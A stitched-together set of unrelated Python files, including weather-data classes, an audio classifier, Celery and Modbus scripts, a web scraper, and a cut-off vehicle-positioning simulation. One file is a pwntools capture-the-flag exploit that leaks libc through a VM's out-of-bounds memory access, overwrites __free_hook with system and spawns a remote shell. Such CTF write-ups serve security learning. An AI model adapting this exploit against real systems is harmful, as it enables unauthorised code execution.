    def visibility(self):
        try:
            return self._weather[WeatherParams.INFO[12][0]]
        except KeyError:
            return ''

    @property
    def temp_min(self):
        return self._get_weather_attr(WeatherParams.INFO[13])

    @property
    def temp_max(self):
        return self._get_weather_attr(WeatherParams.INFO[14])

    @property
    def result_pretty(self):
        result_string = self.place + ', ' + self.day + ' ' + self.time + '\n'
        if self.weather_description != '':
            result_string += self.weather_description + '\n'
        if self.main_temp != '':
            result_string += 'temp: ' + str(self.main_temp) + (' °C\n' if self.units == WeatherParams.UNITS[0] else
                                                               ' °F\n')
        if self.temp_min != '':
            result_string += 'temp min: ' + str(self.temp_min) + (' °C\n' if self.units == WeatherParams.UNITS[0] else
                                                                  ' °F\n')
        if self.temp_max != '':
            result_string += 'temp max: ' + str(self.temp_max) + (' °C\n' if self.units == WeatherParams.UNITS[0] else
                                                                  ' °F\n')
        if self.humidity != '':
            result_string += 'humidity: ' + str(self.humidity) + ' %\n'
        if self.pressure != '':
            result_string += 'pressure: ' + str(self.pressure) + ' hPa\n'
        if self.wind_speed != '':
            result_string += 'wind: ' + str(self.wind_speed) + (' meter(s)/sec, ' + str(self.wind_speed_km) + ' km/h\n'
                                                                if self.units == WeatherParams.UNITS[0]
                                                                else ' miles/hour\n')
        if self.clouds != '':
            result_string += 'clouds: ' + str(self.clouds) + ' %\n'
        if self.visibility != '':
            result_string += 'visibility: ' + ((str(self.visibility) + ' meter(s)\n') if
                                               self.units == WeatherParams.UNITS[0]
                                               else (str(self.visibility * WeatherParams.MILE_COEF) + ' miles\n'))
        if self.rain_last_hour != '':
            result_string += 'rain for the last hour: ' + str(self.rain_last_hour) + ' mm\n'
        if self.rain_last_3_hours != '':
            result_string += 'rain for the last 3 hours: ' + str(self.rain_last_3_hours) + ' mm\n'
        if self.snow_last_hour != '':
            result_string += 'rain for the last hour: ' + str(self.snow_last_hour) + ' mm\n'
        if self.snow_last_3_hours != '':
            result_string += 'rain for the last 3 hours: ' + str(self.snow_last_3_hours) + ' mm\n'
        if self.sunrise != '':
            result_string += 'sunrise at: ' + str(datetime.datetime.fromtimestamp(self.sunrise)) + '\n'
        if result_string != '':
            result_string += '(used units: ' + self.units + ')\n'
        return result_string

    def __str__(self):
        return self.result_pretty

class WeatherForecast:

    DAY_TIME = 'dt_txt'
    MAX_DAYS_FORECAST = 5

    def __init__(self, weather_forecast_list, city, country, last_day, units):
        self._weather_forecast = []
        self._last_day = last_day
        for weather_one_day in weather_forecast_list:
            if self._last_day in weather_one_day[self.DAY_TIME]:
                break
            self._weather_forecast.append(CurrentWeather(weather_one_day, city, country,
                                                         weather_one_day[self.DAY_TIME].split(' ')[0],
                                                         weather_one_day[self.DAY_TIME].split(' ')[1],
                                                         units))

    @property
    def day(self):
        result_list = []
        for weather_entry in self._weather_forecast:
            result_list.append(weather_entry.day)
        return result_list

    @property
    def time(self):
        result_list = []
        for weather_entry in self._weather_forecast:
            result_list.append(weather_entry.time)
        return result_list

    @property
    def place(self):
        result_list = []
        for weather_entry in self._weather_forecast:
            result_list.append(weather_entry.place)
        return result_list

    @property
    def units(self):
        result_list = []
        for weather_entry in self._weather_forecast:
            result_list.append(weather_entry.units)
        return result_list

    @property
    def weather_description(self):
        result_list = []
        for weather_entry in self._weather_forecast:
            result_list.append(weather_entry.weather_description)
        return result_list

    @property
    def humidity(self):
        result_list = []
        for weather_entry in self._weather_forecast:
            result_list.append(weather_entry.humidity)
        return result_list

    @property
    def pressure(self):
        result_list = []
        for weather_entry in self._weather_forecast:
            result_list.append(weather_entry.pressure)
        return result_list

    @property
    def wind_speed(self):
        result_list = []
        for weather_entry in self._weather_forecast:
            result_list.append(weather_entry.wind_speed)
        return result_list

    @property
    def clouds(self):
        result_list = []
        for weather_entry in self._weather_forecast:
            result_list.append(weather_entry.clouds)
        return result_list

    @property
    def rain_last_hour(self):
        result_list = []
        for weather_entry in self._weather_forecast:
            result_list.append(weather_entry.rain_last_hour)
        return result_list

    @property
    def rain_last_3_hours(self):
        result_list = []
        for weather_entry in self._weather_forecast:
            result_list.append(weather_entry.rain_last_3_hours)
        return result_list

    @property
    def snow_last_hour(self):
        result_list = []
        for weather_entry in self._weather_forecast:
            result_list.append(weather_entry.snow_last_hour)
        return result_list

    @property
    def snow_last_3_hours(self):
        result_list = []
        for weather_entry in self._weather_forecast:
            result_list.append(weather_entry.snow_last_3_hours)
        return result_list

    @property
    def result_pretty(self):
        result_string = ''
        for weather_entry in self._weather_forecast:
            result_string += weather_entry.result_pretty + '\n'
        return result_string

    def __iter__(self):
        self._index = 0
        return self

    def __next__(self):
        while self._index < len(self._weather_forecast) - 1:
            self._index += 1
            return self._weather_forecast[self._index]
        raise StopIteration('No more weather forecast entries.')

    def __str__(self):
        return self.result_pretty

    def __len__(self):  # number of data points
        return len(self._weather_forecast)


from azure.storage.blob import BlockBlobService, PublicAccess
from playsound import playsound
from keras.models import load_model
from python_speech_features import mfcc
from scipy.io import wavfile
from sklearn.metrics import accuracy_score
from tqdm import tqdm
import numpy as np
import pandas as pd
import os
import pickle
import json
import csv

# gets rid of warning about unused cpu instructions
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'

def demo(audio_path):
    y_true = list()
    y_pred = list()
    file_name_prob = dict()
    files = list([match for match in os.listdir(audio_path) if "baby" in match])
    for file in files:
        print("PLAYING[{}]".format(file))
        #playsound(os.path.join(audio_path, file))
    print("Extracting features from audio")
    for file in tqdm(files):
        rate, wav = wavfile.read(os.path.join(audio_path, file))
        label = file_2_class[file]
        class_index = classes.index(label)
        y_prob = list()
        for index in range(0, wav.shape[0]-config.step, config.step):
            sample = wav[index:index+config.step]
            x = mfcc(sample, rate, numcep=config.features, nfilt=config.filters,
                nfft=config.fourier_transforms)
            x = (x-config.min)/(config.max-config.min)
            if config.mode == "cnn":
                x = x.reshape(1, x.shape[0], x.shape[1], 1)
            elif config.mode == "time":
                x = np.expand_dims(x, axis=0)
            y_hat = model.predict(x)
            y_prob.append(y_hat)
            y_pred.append(np.argmax(y_hat))
            y_true.append(class_index)
        file_name_prob[file] = np.mean(y_prob, axis=0).flatten()

    return y_true, y_pred, file_name_prob

data_frame = pd.read_csv("demo.csv")
classes = list(np.unique(data_frame.label))
file_2_class = dict(zip(data_frame.fname, data_frame.label))
pickle_path = os.path.join("pickles", "cnn.p")

with open(pickle_path, "rb") as handle:
    config = pickle.load(handle)

model = load_model(config.model_path)

y_true, y_pred, file_name_prob = demo("clean")
accuracy = accuracy_score(y_true=y_true, y_pred=y_pred)

y_probs = list()
for index, row in data_frame.iterrows():
    y_prob = file_name_prob[row.fname]
    y_probs.append(y_prob)
    for c, p in zip(classes, y_prob):
        data_frame.at[index, c] = p

y_pred = [classes[np.argmax(y)] for y in y_probs]
data_frame["y_pred"] = y_pred
data_frame.to_csv("demo.csv", index=False)

data = {}
with open('demo.csv') as csv_data:
    reader = csv.reader(csv_data)
    rows = [row for row in reader if row]
    headings = rows[0]

    for row in rows[1:]:
        for col_header, data_column in zip(headings, row):
            data.setdefault(col_header, []).append(data_column)

blob_service = BlockBlobService('lullaby','')

blob_service.create_container(
    'lullaby',
    public_access=PublicAccess.Blob
)

blob_service.create_blob_from_bytes(
    'lullaby',
    'lullaby-blob',
    json.dumps(data).encode("utf-8")
)

print(blob_service.make_blob_url('lullaby', 'lullaby-blob'))


# encoding: utf-8

import tornado
from tornado import gen
from mini import request_exception
from bson import ObjectId

# data should contain required fields only

@gen.coroutine
def post_doc(self, model, data):
    model.update(data, {'POST': True})
    future = self.db[model.__class__.__name__].insert(model.to_dict())
    return future

# data should contain the object id

@gen.coroutine
def put_doc(self, model, data):
    object_id = data['_id']
    data.pop('_id')
    model.update(data, {'PUT': True})
    future = self.db[model.__class__.__name__].update(
        {'_id': ObjectId(object_id)},
        {'$set': model.to_dict()})
    return future

# data should contain at least object id

@gen.coroutine
def get_doc(self, model, data):
    object_id = data['_id']
    doc = self.db[model.__class__.__name__].find_one(
        {'_id': ObjectId(object_id)})
    return doc

# data should contain at least object id

@gen.coroutine
def delete_doc(self, model, data):
    pass


# Problem from UVA
# https://uva.onlinejudge.org/index.php?option=onlinejudge&page=show_problem&problem=1167
# import sys

# sys.stdin = open("file.txt", "r")

def solution():
    n = int(input())
    input()

    for i in range(n):
        population = {}
        total = 0
        while True:
            try:
                new_line = input()
                if not new_line:
                    break
            except:
                break
            if population.get(new_line) is None:
                population[new_line] = 1
            else:
                population[new_line] += 1

            total += 1
        sorted_list = sorted(population.keys())

        for tree in sorted_list:
            print(tree + ' ' + str(round(population.get(tree) * 100 / total, 4)))

solution()

Blue/Session 15 - MAP – TREEMAP - DICT/UVA_10226.py


from django.conf import settings

from celery import shared_task
from celery.utils.log import get_task_logger
from redlock import Redlock

from templated_email import send_templated_email
from travel_times.models import TravelTimesMap
from travel_times import constants

logger = get_task_logger(__name__)
population_timeout = settings.REPORT_POPULATION_TIMEOUT
dlm = Redlock([settings.REDIS_URL])  # Distibuted Lock Manager

@shared_task
def populate_report(report):
    lock = dlm.lock("populate-travel-report-{}".format(report.pk),
                    population_timeout)
    if not lock:
        logger.debug(
            "Travel report '%s' is already populating".format(report.postcode)
        )
        return

    logger.debug("Populating travel report '{}'".format(report.postcode))

    travel_times_map(report)
    release_lock(report.pk, lock)

def release_lock(identifier, lock):
    logger.debug("Releasing lock for travel report '{}'".format(identifier))
    dlm.unlock(lock)

def travel_times_map(report):
    logger.debug("Getting travel times map")
    travel_times_map, _created = TravelTimesMap.objects.get_or_create(
        postcode=report.postcode,
        width=constants.MAP_WIDTH,
        height=constants.MAP_HEIGHT,
    )
    if not travel_times_map.has_image:
        travel_times_map.download_image()
    report.travel_times_map = travel_times_map
    report.save(update_fields=['travel_times_map'])

@shared_task
def send_report(report, email):
    subject = "Your travel time map report for {}".format(report.postcode)
    logger.debug("Sending report {} to {}".format(report.id, email))
    send_templated_email(
        template_name="travel_report/emails/travel_report",
        context={"report": report},
        to=[email],
        subject=subject,
        attachments=[
            ("travel-report-{}.pdf".format(report.postcode),
             report.to_pdf(),
             "application/pdf"),
        ],
    )


# -*- coding: utf_8 -*-
import re
import sys
import csv
import time
import serial
import threading
import modbus_tk.defines as cst
from modbus_tk import modbus_rtu

def hold(slaveId, reg, startAdd, length):
	global master
	data = master.execute(slaveId, reg, startAdd, length)

	if reg == 3:
		regtype = 'Holding'
	else :
		regtype = 'Coil'

	newli = [regtype, time.ctime()]
	for i in range(length - startAdd):
		newli.append(data[i])
	writer.writerow(newli)
	print('newli',newli)

global master
master = modbus_rtu.RtuMaster(serial.Serial(port='/dev/ttyUSB3',bytesize=8,parity='N',baudrate=9600))
master.set_timeout(5)
master.set_verbose(True)

slaveId = int(input('Enter slave Id : '))
reg = int(input('Enter reg Type : '))
startAdd = int(input('Enter Starting address : '))
length = int(input('Enter length : '))

slaveId2 = int(input('Enter slave Id : '))
reg2 = int(input('Enter reg Type : '))
startAdd2 = int(input('Enter Starting address : '))
length2 = int(input('Enter length : '))

filename = time.ctime()
filename = re.sub('[^1234567890 ]+', '',filename)
filename = filename.replace(" ","")

f = open(filename + ".csv", 'w', encoding = 'utf-8')
writer = csv.writer(f)

li = ['RegType','Time']
for i in range(startAdd, length):
	li.append('Reg-'+str(i))

writer.writerow(li)
final = 0

while True:
	if final<20:
		thread1 = threading.Thread(target = hold, args=(slaveId, reg, startAdd, length,))
		thread2 = threading.Thread(target = hold, args=(slaveId2, reg2, startAdd2, length2,))

		thread1.start()
		thread2.start()
		thread1.join()
		thread2.join()
		final += 2
	else:
		f.close()
		print('script stop')
		break


# -*- coding: utf-8 -*-
from __future__ import absolute_import, division, print_function

from marshmallow import fields

from polyaxon_deploy.schemas.base import BaseConfig, BaseSchema

class CelerySchema(BaseSchema):
    taskTrackStarted = fields.Bool(allow_none=True)
    brokerPoolLimit = fields.Int(allow_none=True)
    confirmPublish = fields.Bool(allow_none=True)
    workerPrefetchMultiplier = fields.Int(allow_none=True)
    workerMaxTasksPerChild = fields.Int(allow_none=True)
    workerMaxMemoryPerChild = fields.Int(allow_none=True)
    taskAlwaysEager = fields.Bool(allow_none=True)

    @staticmethod
    def schema_config():
        return CeleryConfig

class CeleryConfig(BaseConfig):
    SCHEMA = CelerySchema
    REDUCED_ATTRIBUTES = [
        'taskTrackStarted',
        'brokerPoolLimit',
        'confirmPublish',
        'workerPrefetchMultiplier',
        'workerMaxTasksPerChild',
        'workerMaxMemoryPerChild',
        'taskAlwaysEager'
    ]

    def __init__(self,  # noqa
                 taskTrackStarted=None,
                 brokerPoolLimit=None,
                 confirmPublish=None,
                 workerPrefetchMultiplier=None,
                 workerMaxTasksPerChild=None,
                 workerMaxMemoryPerChild=None,
                 taskAlwaysEager=None):
        self.taskTrackStarted = taskTrackStarted
        self.brokerPoolLimit = brokerPoolLimit
        self.confirmPublish = confirmPublish
        self.workerPrefetchMultiplier = workerPrefetchMultiplier
        self.workerMaxTasksPerChild = workerMaxTasksPerChild
        self.workerMaxMemoryPerChild = workerMaxMemoryPerChild
        self.taskAlwaysEager = taskAlwaysEager


def exec_module(self, **kwargs):
    for key in self.module_arg_spec:
        setattr(self, key, kwargs[key])
    results = None
    changed = False
    image = None
    if (not self.location):
        resource_group = self.get_resource_group(self.resource_group)
        self.location = resource_group.location
    self.log('Fetching image {0}'.format(self.name))
    image = self.get_image()
    if image:
        self.check_provisioning_state(image, self.state)
        results = image.id
        if (self.state == 'absent'):
            changed = True
    elif (self.state == 'present'):
        changed = True
    self.results['changed'] = changed
    self.results['id'] = results
    if changed:
        if (self.state == 'present'):
            image_instance = None
            vm = self.get_source_vm()
            if vm:
                if self.data_disk_sources:
                    self.fail('data_disk_sources is not allowed when capturing image from vm')
                image_instance = self.compute_models.Image(self.location, source_virtual_machine=self.compute_models.SubResource(vm.id))
            else:
                if (not self.os_type):
                    self.fail('os_type is required to create the image')
                os_disk = self.create_os_disk()
                data_disks = self.create_data_disks()
                storage_profile = self.compute_models.ImageStorageProfile(os_disk=os_disk, data_disks=data_disks)
                image_instance = self.compute_models.Image(self.location, storage_profile=storage_profile, tags=self.tags)
            if ((not self.check_mode) and image_instance):
                new_image = self.create_image(image_instance)
                self.results['id'] = new_image.id
        elif (self.state == 'absent'):
            if (not self.check_mode):
                self.delete_image()
                self.results['id'] = None
    return self.results


from rest_framework import viewsets
from rest_framework.response import Response
from .models import Description
from rest_framework.decorators import action
import requests
from bs4 import BeautifulSoup

def parse(city):
    USER_AGENT = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 " \
                 "Safari/537.36 "
    LANGUAGE = "ru-RU,ru;q=0.5"
    session = requests.Session()
    session.headers['User-Agent'] = USER_AGENT
    session.headers['Accept-Language'] = LANGUAGE
    session.headers['Content-Language'] = LANGUAGE

    # city = city.replace(' ', '+')
    # content = f"https://www.google.com/search?q=погода+{city}"
    content = f"https://www.google.com/search?q=погода+хабаровск"

    parse_data = session.get(content)
    return parse_data.text

class DescriptionViewSet(viewsets.ViewSet):
    queryset = Description.objects.all()

    @action(methods=('get',), detail=False)
    def resp(self, city_from_front):
        data = parse(city_from_front)

        soup = BeautifulSoup(data, 'html.parser')

        temperature = soup.find('span', attrs={'id': 'wob_tm'}).text
        weather_desc = soup.find('span', attrs={'id': 'wob_dc'}).text
        probOfPrecip = soup.find('span', attrs={'id': 'wob_pp'}).text
        wind = soup.find('span', attrs={'id': 'wob_tws'}).text
        wet = soup.find('span', attrs={'id': 'wob_hm'}).text
        time = soup.find('div', attrs={'id': 'wob_dts'}).text

        dict = {
            'temperature': temperature,
            'weather_desc': weather_desc,
            'probOfPrecip': probOfPrecip,
            'wind': wind,
            'wet': wet,
            'time': time,
        }

        return Response(dict)


#!/bin/bin/env python3

import sys

def calculate_battery_life(time):
    """ Plotting the given data shows a clear pattern
    of battery life being twice the charging time with
    a maximum battery life of 8 hours.
    """
    print("{:1.2f}".format(min(2*time, 8.0)))

for line in sys.stdin:
    calculate_battery_life(float(line))


"""
Если записать числа от 1 до 5 английскими словами (one, two, three, four, five),
то используется всего 3 + 3 + 5 + 4 + 4 = 19 букв.

Сколько букв понадобится для записи всех чисел от 1 до 1000 (one thousand) включительно?

Примечание: Не считайте пробелы и дефисы. Например, число 342 (three hundred and
forty-two) состоит из 23 букв, число 115 (one hundred and fifteen) - из 20 букв.
Использование "and" при записи чисел соответствует правилам британского английского.
21124
"""

once = 'one two three four five six seven eight nine'
teen = 'ten eleven twelve thirteen fourteen fifteen sixteen seventeen eighteen nineteen'
dec = 'twenty thirty forty fifty sixty seventy eighty ninety'
sum_chars = 0
for i in once.split():
    print(i)
    sum_chars += len(i)
for i in teen.split():
    print(i)
    sum_chars += len(i)
for i in dec.split():
    print(i)
    sum_chars += len(i)
    for j in once.split():
        print(i, j)
        sum_chars += len(i + j)
for i in once.split():
    print(i, 'hundred')
    sum_chars += len(i + 'hundred')
    for j in once.split():
        print(i, 'hundred and', j)
        sum_chars += len(i + 'hundredand' + j)
    for j in teen.split():
        print(i, 'hundred and', j)
        sum_chars += len(i + 'hundredand' + j)
    for j in dec.split():
        print(i, 'hundred and', j)
        sum_chars += len(i + 'hundredand' + j)
        for k in once.split():
            print(i, 'hundred and', j, k)
            sum_chars += len(i + 'hundredand' + j + k)
print('one thousand')
sum_chars += len('onethousand')

print('Total:', sum_chars)


# Jose Nino jnino1@jhu.edu
# Compilers and Interpreters
# Spring 2015
# Record Class

from type import Type
from scope import Scope
from ..error import CompilerError

class Record(Type):
    """This class is used by the symbol table to keep track of declared
       records. It is derived from the abtract Type class"""

    def __init__(self, scope, pos, size):
        if isinstance(scope, Scope):
            scope.severParent()
            self.scope = scope
        else:
            raise CompilerError("record needs a scope object, constructor " +
                                "not given one")
        self.p = pos
        self.size = size

    def __str__(self):
        """Create a representation of the array"""
        representation = ""
        representation += "Record("
        representation += str(self.scope)
        representation += ") @("
        representation += str(self.p)
        representation += ")"
        return representation


import json
from util.operating_excel import operatingExcel
from util.request_method import requestMethod
from  data.get_data import getData
from jsonpath_rw import jsonpath,parser
class dependentData():
    def __init__(self,case_id):
        self.case_id = case_id
        self.operating_excel = operatingExcel()
        self.requestMethod = requestMethod()
        self.getData = getData()

    def row_data(self):
        '''通过case_id去获取该case_id的整行数据'''
        rows_data = self.operating_excel.get_row_data(self.case_id)
        return rows_data

    def run_dependent_case(self):
        '''执行依赖case'''
        row_num = self.operating_excel.get_row_num(self.case_id)
        url = self.getData.get_url(row_num)
        request_type = self.getData.get_request_type(row_num)
        header = self.getData.get_header(row_num)
        body = self.getData.get_json_data(row_num)
        res = self.requestMethod.request_main(request_type,url,body,header)
        return json.loads(res)

    def get_data_for_key(self,row):
        '''根据依赖key获取执行case的响应数据'''
        depend_key = self.getData.get_data_depend(row)
        run_depend_data = self.run_dependent_case()
        json_data = parser(depend_key)
        madle = json_data.find(run_depend_data)
        return [math.value for math in madle][0]


#!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File    :   exp.py
@Time    :   2021/07/25 10:32:32
@Author  :   eur1ka
@Version :   2.7
@Contact :   eur1ka@163.com
'''
# here put the import lib
from pwn import *
from LibcSearcher import *
import pwnlib
debug = 0
context.log_level = 'debug'
context.arch = 'amd64'
# sh = process("./pwn")
if debug:
    sh = process('./pwn')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_offset = [0x45226,0x4527a,0xf03a4,0xf1247]
else:
    IP = 'node4.buuoj.cn'
    port = 27727
    sh = remote(IP,port)
    libc = ELF('/home/eur1ka/Desktop/Pwn/libc_file/16-64-libc-2.23.so')
    one_offset = [0x45216,0x4526a,0xf02a4,0xf1147]
elf = ELF('pwn')
opcode = []
def mov_reg_num(reg_index,data):
    # reg[reg_index] = (data&0xff000000)>>24
    opcode.append(u32((p8(0x10)+p8(reg_index)+p8(0)+p8((data&0xff000000)>>24))[::-1]))
    # reg[9] = 24
    opcode.append(u32((p8(0x10)+p8(9)+p8(0)+p8(24))[::-1]))
    # reg[reg_index] = reg[reg_index] << 24
    opcode.append(u32((p8(0xc0)+p8(reg_index)+p8(reg_index)+p8(9))[::-1]))
    # reg[8] = (data&0x00ff0000)>>16
    opcode.append(u32((p8(0x10)+p8(8)+p8(0)+p8((data&0x00ff0000)>>16))[::-1]))
    # reg[9] = 16
    opcode.append(u32((p8(0x10)+p8(9)+p8(0)+p8(16))[::-1]))
    # reg[8] = reg[8] << 16
    opcode.append(u32((p8(0xc0)+p8(8)+p8(8)+p8(9))[::-1]))
    # reg[reg_index] = reg[8] | reg[reg_index]
    opcode.append(u32((p8(0xa0)+p8(reg_index)+p8(8)+p8(reg_index))[::-1]))
    # reg[8] = (data&0x0000ff00) >> 8
    opcode.append(u32((p8(0x10)+p8(8)+p8(0)+p8((data&0x0000ff00)>>8))[::-1]))
    # reg[9] = 8
    opcode.append(u32((p8(0x10)+p8(9)+p8(0)+p8(8))[::-1]))
    # reg[8] = reg[8] << 8
    opcode.append(u32((p8(0xc0)+p8(8)+p8(8)+p8(9))[::-1]))
    # reg[reg_index] = reg[8] | reg[reg_index]
    opcode.append(u32((p8(0xa0)+p8(reg_index)+p8(8)+p8(reg_index))[::-1]))
    # reg[8] = data&0x000000ff
    opcode.append(u32((p8(0x10)+p8(8)+p8(0)+p8(data&0x000000ff))[::-1]))
    # reg[reg_index] = reg[8] | reg[reg_index]
    opcode.append(u32((p8(0xa0)+p8(reg_index)+p8(8)+p8(reg_index))[::-1]))

# memory[reg1] = reg2
def mov_mem_reg(reg1,reg2):
    opcode.append(u32((p8(0x40)+p8(reg2)+p8(0)+p8(reg1))[::-1]))
# reg1 = memory[reg2]
def mov_reg_mem(reg1,reg2):
    opcode.append(u32((p8(0x30)+p8(reg1)+p8(0)+p8(reg2))[::-1]))

# reg1 = reg1 + reg2
def add_reg_reg(reg1,reg2):
    opcode.append(u32((p8(0x70)+p8(reg1)+p8(reg1)+p8(reg2))[::-1]))

def show_reg():
    opcode.append(0x000000ff)
exit_offset = libc.symbols['exit']
free_hook_offset = libc.symbols['__free_hook']
log.info("exit_offset=>{}".format(hex(exit_offset)))
offset = free_hook_offset - exit_offset - 8
log.info("free_hook_offset=>{}".format(hex(free_hook_offset)))
# reg[0] = -0x20
mov_reg_num(0,0xffffffe0)
# reg[1] = memory[reg[0]]
mov_reg_mem(1,0)
# reg[0] = -0x1f
mov_reg_num(0,0xffffffe1)
# reg[2] = memory[reg[0]]
mov_reg_mem(2,0)
# reg[0] = offset
mov_reg_num(3,offset)
# reg[1] = reg[3] + reg[1]
add_reg_reg(1,3)
# reg[0] = -8
mov_reg_num(0,0xfffffff8)
# memorty[reg[0]] = reg[1]
mov_mem_reg(0,1)
# reg[0] = -7
mov_reg_num(0,0xfffffff9)
# memorty[-8] = reg[2]
mov_mem_reg(0,2)
# leak_addr
show_reg()

sh.sendlineafter('PC:','0')
sh.sendlineafter('SP','0')
sh.sendlineafter('CODE SIZE:',str(len(opcode)))
sh.recvuntil("CODE: ")

for i in opcode:
   sh.sendline(str(i))

sh.recvuntil("R1: ")
low_addr = int(sh.recv(8),16)
sh.recvuntil("R2: ")
high_addr = int(sh.recv(4),16)
leak_addr = (high_addr << 32) + low_addr
# leak_addr = leak_addr -
# log.info("leak_addr=>{}".format(hex(leak_addr)))
libc_base = leak_addr - (free_hook_offset - 8)
system_addr = libc_base + libc.symbols['system']
log.info("libc_base=>{}".format(hex(libc_base)))
log.info("system_addr=>{}".format(hex(system_addr)))
sh.recvuntil("HOW DO YOU FEEL AT OVM?\n")
# gdb.attach(sh)
# pause()
sh.sendline("/bin/sh\x00"+p64(system_addr))
sh.interactive()


from Bound_Estimation.matfile_read import load_mat, rec_func
import math
import numpy as np
"""
*: coordinate center of cari

|--------|
| car1   |
|-------*|
         |
       y |                   |---------|
         |                   |  car2   |
         |-------------------|*--------|
                    d

"""
# loading the coefficients of piecewise continous transfer function
# breaks: the limits where corresponding coeeficients valid.
# coefs: corresponding coeefficients within that boundary.
data = load_mat('VLP_methods/aoa_transfer_function.mat')
rec_func(data, 0)
breaks = np.array(data['transfer_function']['breaks'])
coefficients = np.array(data['transfer_function']['coefs'])

class AoA:
    def __init__(self, a_m=2, f_m1=1000000, f_m2=2000000, measure_dt=5e-6, vehicle_dt=1e-2, w0=500, hbuf=1000,
                 car_dist=1.6, fov=80):
        # this where parameters are initialized according to input or set values.
        self.dt = measure_dt
        self.t = np.arange(0, vehicle_dt - self.dt, self.dt)
        self.w1 = 2 * math.pi * f_m1
        self.w2 = 2 * math.pi * f_m2
        self.a_m = a_m
        self.w0 = w0
        self.hbuf = hbuf
        self.car_dist = car_dist
        self.e_angle = fov

    # %%

    def estimate(self, delays, H_q, noise_variance):
        # In this function according to voltage readings in each quadrant and noise theta and pose estimation is calculated.
        # signal generated according to frequencies.
        s1_w1 = self.a_m * np.cos(self.w1 * self.t)
        s2_w2 = self.a_m * np.cos(self.w2 * self.t)

        # after going through ADC at receiver
        r1_w1_a = H_q[0][0][0] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt(
            noise_variance[0][0][0]), len(self.t))
        r1_w1_b = H_q[0][0][1] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt(
            noise_variance[0][0][1]), len(self.t))
        r1_w1_c = H_q[0][0][2] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt(
            noise_variance[0][0][2]), len(self.t))
        r1_w1_d = H_q[0][0][3] * np.cos(self.w1 * (self.t - delays[0][0])) + np.random.normal(0, math.sqrt(
            noise_variance[0][0][3]), len(self.t))

        r2_w1_a = H_q[0][1][0] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt(
            noise_variance[0][1][0]), len(self.t))
        r2_w1_b = H_q[0][1][1] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt(
            noise_variance[0][1][1]), len(self.t))
        r2_w1_c = H_q[0][1][2] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt(
            noise_variance[0][1][2]), len(self.t))
        r2_w1_d = H_q[0][1][3] * np.cos(self.w1 * (self.t - delays[0][1])) + np.random.normal(0, math.sqrt(
            noise_variance[0][1][3]), len(self.t))

        r1_w2_a = H_q[1][0][0] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt(
            noise_variance[1][0][0]), len(self.t))
        r1_w2_b = H_q[1][0][1] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt(
            noise_variance[1][0][1]), len(self.t))
        r1_w2_c = H_q[1][0][2] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt(
            noise_variance[1][0][2]), len(self.t))
        r1_w2_d = H_q[1][0][3] * np.cos(self.w2 * (self.t - delays[1][0])) + np.random.normal(0, math.sqrt(
            noise_variance[1][0][3]), len(self.t))

        r2_w2_a = H_q[1][1][0] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt(
            noise_variance[1][1][0]), len(self.t))
        r2_w2_b = H_q[1][1][1] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt(
            noise_variance[1][1][1]), len(self.t))
        r2_w2_c = H_q[1][1][2] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt(
            noise_variance[1][1][2]), len(self.t))
        r2_w2_d = H_q[1][1][3] * np.cos(self.w2 * (self.t - delays[1][1])) + np.random.normal(0, math.sqrt(
            noise_variance[1][1][3]), len(self.t))

        # eps readings will be calculated, so we initalized them to be empty np array.
        eps_a_s1, eps_b_s1, eps_c_s1, eps_d_s1, phi_h_s1 = np.array([0., 0.]), np.array(
            [0., 0.]), np.array([0., 0.]), np.array([0., 0.]), np.array([0., 0.])
        eps_a_s2, eps_b_s2, eps_c_s2, eps_d_s2, phi_h_s2 = np.array([0., 0.]), np.array(
            [0., 0.]), np.array([0., 0.]), np.array([0., 0.]), np.array([0., 0.])
        theta_l_r = np.array([[0., 0.], [0., 0.]]).astype(float)

        # the calculation of epsilon values for each quadrant. s1, s2 means right and left light.
        eps_a_s1[0] = np.sum(
            np.dot(r1_w1_a[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
        eps_b_s1[0] = np.sum(
            np.dot(r1_w1_b[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
        eps_c_s1[0] = np.sum(
            np.dot(r1_w1_c[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
        eps_d_s1[0] = np.sum(
            np.dot(r1_w1_d[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
        eps_a_s1[1] = np.sum(
            np.dot(r2_w1_a[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
        eps_b_s1[1] = np.sum(
            np.dot(r2_w1_b[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
        eps_c_s1[1] = np.sum(
            np.dot(r2_w1_c[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf
        eps_d_s1[1] = np.sum(
            np.dot(r2_w1_d[self.w0: self.w0 + self.hbuf], s1_w1[self.w0: self.w0 + self.hbuf])) / self.hbuf

        eps_a_s2[0] = np.sum(
            np.dot(r1_w2_a[self.w0: self.w0 + self.hbuf], s2_w2[self.w0: self.w0 + self.hbuf])) / self.hbuf
        eps_b_s2[0] = np.sum(
